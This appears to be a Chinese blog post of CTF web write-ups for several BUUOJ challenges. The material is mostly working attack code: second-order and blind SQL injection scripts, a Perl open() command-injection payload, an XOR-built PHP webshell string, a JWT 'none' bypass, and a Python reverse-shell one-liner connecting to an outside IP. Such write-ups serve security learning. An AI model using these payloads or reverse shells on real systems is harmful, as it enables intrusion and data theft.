[RCTF2015]EasySQL
二次注入
在用户名处写入,然后在修改密码的地方存在二次注入
import requests
html = 'http://c7bc9bfa-7a64-4ba5-8e35-7b4d4bc69f91.node3.buuoj.cn'
def register(sess,name):
nhtml = html + '/register.php'
data = {
'username': name,
'password': '1',
'email': '1'
}
sess.post(nhtml,data=data)
def login(sess,name):
nhtml = html + '/login.php'
data = {
'username': name,
'password': '1'
}
sess.post(nhtml,data=data)
def change(sess,name):
nhtml = html + '/changepwd.php'
data = {
'oldpass': '1',
'newpass': '1'
}
txt = sess.post(nhtml,data=data).text
return txt
def payload(pay):
sess = requests.session()
register(sess,pay)
login(sess,pay)
print(change(sess,pay))
第一步:数据库名
payload('as"^extractvalue(1,concat(0x7e,(select(database()))))#')
第二步:表名
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))))#')
第三步:列名
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))#')
第四步:字段
payload('as"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#')
假flag,找真的去
第五步:列名
payload('as"^extractvalue(1,concat((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))))#')
第六步:字段(前)
用!=绕过xxx
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!='xxx'))))#')
第七步:字段(后)
用reverse函数反向获取右半边的内容
payload('as"^extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here!='xxx'))))#')
拼接得到flag。
[HITCON 2017]SSRFme
给了源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>
感觉就是想办法写shell。使用了shell_exec这个函数,感觉平时命令用的不多;拼接了一个GET,更为奇妙了。找WP找到了这篇文章。应该是两种方法都可以做。
考虑到BUUOJ靶机无法访问外网,所以我们只能用open的漏洞来操作。
Payload:
?url=file:bash -c /readflag|&filename=bash -c /readflag|
然后写入:
?url=file:bash -c /readflag|&filename=123
访问sandbox得到答案
Perl不熟,以后再理解吧
[SUCTF 2019]EasyWeb
过滤了我能想到的几乎全部东西,只能找WP去
找到了这篇文章,原来是不可见字符的异或;
得到一种payload,后面遇到类似的可以自己写个脚本跑跑
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
大致是异或出来了_GET,然后执行了下命令。
然后搜索得到flag
不是很明白为啥WP后面还有那么多内容……可能是原题有一些别的限制?
仔细看了下大家都没有在phpinfo里面搜索一下flag,都去执行get_the_flag然后文件上传去了……不过学习一下也不坏,大致看了一下,基本算是学会了
[HFCTF2020]EasyLogin
注册一个账户后登录,在新的框里面随便输点东西就没权限了,看起来是要拿到管理员权限
查看Cookie,发现sses:aok是base64后JSON编码的用户名,后面sses:aok.sig则猜测是签名(防止篡改Cookie)。感觉应该不是注入题,想想办法绕过。
注册的返回有个token,应该是JWT。
上网解密,发现有密码,然后不会了,去找WP
然后知道了如果算法设置为空在某些情况也是没问题的,所以操作一下,重新POST
修改Cookie,得到flag
[V&N2020 公开赛]CHECKIN
开局源码
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
感觉以前做过类似的题,当时是读个描述符就完事
现在看看能不能复刻出来,尝试用RequestBin带出来,但是没外网
只能开小号操作了。。。
奇特的地方在于只能用python反弹shell,用不了别的,但是又有bash,所以挺奇怪
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.202.146",12500));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
通过cmdline找到合适的文件描述符打开,就可以拿到flag
[GYCTF2020]Ezsqli
底部存在查询接口,直觉告诉我是异或+布尔盲注。试一下看看行不行
掏出传统脚本一通操作,果然没问题
import sys
import requests
import string
import time
config_html = 'http://3a4da166-5838-4b1d-8916-17fec59a5fb1.node3.buuoj.cn/index.php'
config_method = 'POST'
config_key = 'id'
config_data = {
'id' : 'if({0},1,0)'
}
config_length = 'char_length({0}){1}'
config_line = 'ascii(substr({0},{1},1)){2}'
config_success_flag = 'Nu1L'
config_failed_flag = 'Error Occured When Fetch Result.'
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.digits + string.ascii_letters + '{}_,-'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))
print(config_data_range)
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def concat_line_length(cmd,i):
return config_length.format(cmd,'>' + str(i))
def concat_line_value(cmd,i,nowlen):
return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))
def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
#print(cfg_data(concat_line_length(cmd,i)))
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
print('[-] {0} NOT length: {1}'.format(cmd,i))
continue
else:
print('[+] {0} length: {1}'.format(cmd,i))
return i
print('[-] Search Length Failed...')
return 0
def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
fg = False
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
continue
else:
fg = True
ret.append(i)
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret
数据库名
def database():
cmd = 'database()'
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))
database()
然后我们发现检测了SQL注入,可能是筛选了一些关键字。手工测试发现屏蔽了for这个关键字,感觉很奇特。所以information_schema用不了了,而且performence_schema也不行。那么只能试试SHOW操作。
在这里找到了一种操作方式
SHOW tables like '%s%';
可惜用不了,貌似不行
然后考虑MySQL 5.7的sys数据库,使用sys.schema_auto_increment_columns操作一波,然而也是被屏蔽了
没办法,查询一波版本,发现是5.7.29
def version():
cmd = "version()"
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))
version()
查了下也没有现成漏洞,而且这估计就是个注入题,不会了,查WP去。。。
然后知道了一个新表sys.schema_table_statistics_with_buffer,于是用这个表试试
查表名
def table():
cmd = "(SELECT(group_concat(table_name))FROM(sys.schema_table_statistics_with_buffer)WHERE(table_schema=database()))"
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))
table()
然后是无列名注入,和之前的题目([SWPU2019]Web1)挺像。相同的操作下
然后发现居然屏蔽了 union,不加空格就没问题,加了就屏蔽,不过/**/貌似没屏蔽
然后发现如果UNION前面有特定字符就会被屏蔽,不会了。。。继续看WP
然后发现新脚本不行,我的老脚本(无法判断大小写)居然和WP思路一致。。。不过一个样,新脚本改改也应该能跑
修改版脚本
config_data_range = 'flag{}-' + string.digits + 'bcde'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))
def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
fg = False
last = ''
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(cmd.format("".join(ret) + i)))
if get(url = config_html,data = cfg_data(cmd.format("".join(ret) + i))):
last = i
#print(last)
continue
else:
fg = True
#print(last)
ret.append(last)
#print(ret)
last = ''
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret
def flag():
cmd = "(SELECT 1,'{0}')<(select * from f1ag_1s_h3r3_hhhhh)"
length = 100
print(get_value_line(cmd,length,''))
flag()
[BJDCTF 2nd]文件探测
robots.txt,显示admin.php。
需要从127.0.0.1进入,但是试了X-Forwarded-For和Client-ip都不行。看来需要别的入手点。
注意到访问时Header存在Hint,提示home.php。
进入,用伪协议读取一下system.php的内容。
system.php
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ ';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>
</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">你知道目录下都有什么文件吗?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输入你想检测文件内容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">提交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>
<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );
new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>
</body>
</html>
<?php
$filter1 = '/^http://127.0.0.1//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
再读取一下home.php
home.php
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/^|~|&||/", $_GET['file'])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
?>
看起来是不能再读取别的东西了,想想system.php怎么操作。
SSRF读取,但是%d不是很会绕过,找WP去
然后明白了大致的读取方式,试验一下
admin.php
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
现在的问题就是$_SESSION['secret']是个随机数,这个也没法确定是多少,所以得想办法绕过去。
不过如果没有SESSION,是不是这个值就自动没了呢?查下WP发现行。
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.15',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng')
URLEncode后得到flag
[GKCTF2020]EZ三剑客-EzNode
给了源代码
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
给了版本,看一下
{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}
找到了一个safer-eval的漏洞,可惜版本不符合。
然后找到这篇文章,照抄完事……
写一下过程:
delay可以用溢出来绕过。
后面的safer-eval有现成的漏洞PoC,复刻就可以。
[RoarCTF 2019]Online Proxy
看起来像文件包含,然而实际是个注入。。。
暂时跳过这题,跟前面的注入差不多
还是写了,这把写个二分脚本。。。
二次注入,第一次的X-Forwarded-For被当成Current-Ip,第二次X-Forwarded-For随便写点东西就会把第一次不一样的存入数据库(触发注入语句),第三次X-Forwarded-For和第二次一样就会查询数据库,就能根据得到的0或者1来判断布尔盲注了。
数据库
import requests
url = 'http://node3.buuoj.cn:25428/'
def get(sess,xff):
r = sess.get(url,headers = {'X-Forwarded-For':xff})
return r.text
def check(xff):
sess = requests.session()
#print(xff)
get(sess,xff)
xff = 'aaa'
get(sess,xff)
return get(sess,xff)
import string
charset = string.digits + string.ascii_letters + '{},-'
succ = 'Last Ip: 1'
def database():
xff = "0' or {0} or '0"
cmd = '(select group_concat(schema_name) from information_schema.schemata)'
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 78
ans = []
'''for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))'''
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans
database()
表名
import string
succ = 'Last Ip: 1'
def table():
xff = "0' or {0} or '0"
cmd = "(select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e')"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans
table()
列名
def column():
xff = "0' or {0} or '0"
cmd = "(select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e')"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans
column()
flag
def flag():
xff = "0' or {0} or '0"
cmd = "(select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans
flag()
[HarekazeCTF2019]encode_and_encode
JSON解析会把uxxxx这样的Unicode字符正常解析,但是之前的条件判断则不会。(也就是检测合法性在json_decode之前)所以我们可以用u这种方式绕过。由于对读取内容做了检测,所以伪协议base64。
前几天西湖论剑的Web5有着相同的技巧。
Payload
{ "page" : "u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067"}
Comments NOTHING